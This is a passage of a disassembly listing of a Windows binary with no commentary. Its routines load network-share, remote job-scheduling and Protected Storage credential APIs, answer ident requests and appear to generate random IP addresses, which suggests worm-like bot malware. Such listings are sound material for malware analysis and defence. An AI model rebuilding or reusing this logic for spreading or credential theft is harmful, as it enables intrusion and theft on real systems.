eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: sub_4167F1:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DE40, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE48, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE4C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE50, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE5C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE60, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE64, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE68, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE6C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE70, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE74, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE78, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE84, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE88, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE8C, eax cmp dword_41DE84, 0 jz short loc_403D85 cmp dword_41DE88, 0 jz short loc_403D85 cmp dword_41DE8C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE84, offset sub_403588 mov dword_41DE88, offset sub_4038BA mov dword_41DE8C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DE80, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DE7C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EEC8 test eax, eax jz short loc_403F27 push offset byte_41EEC8 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E294, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E298 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E294 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E298 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call 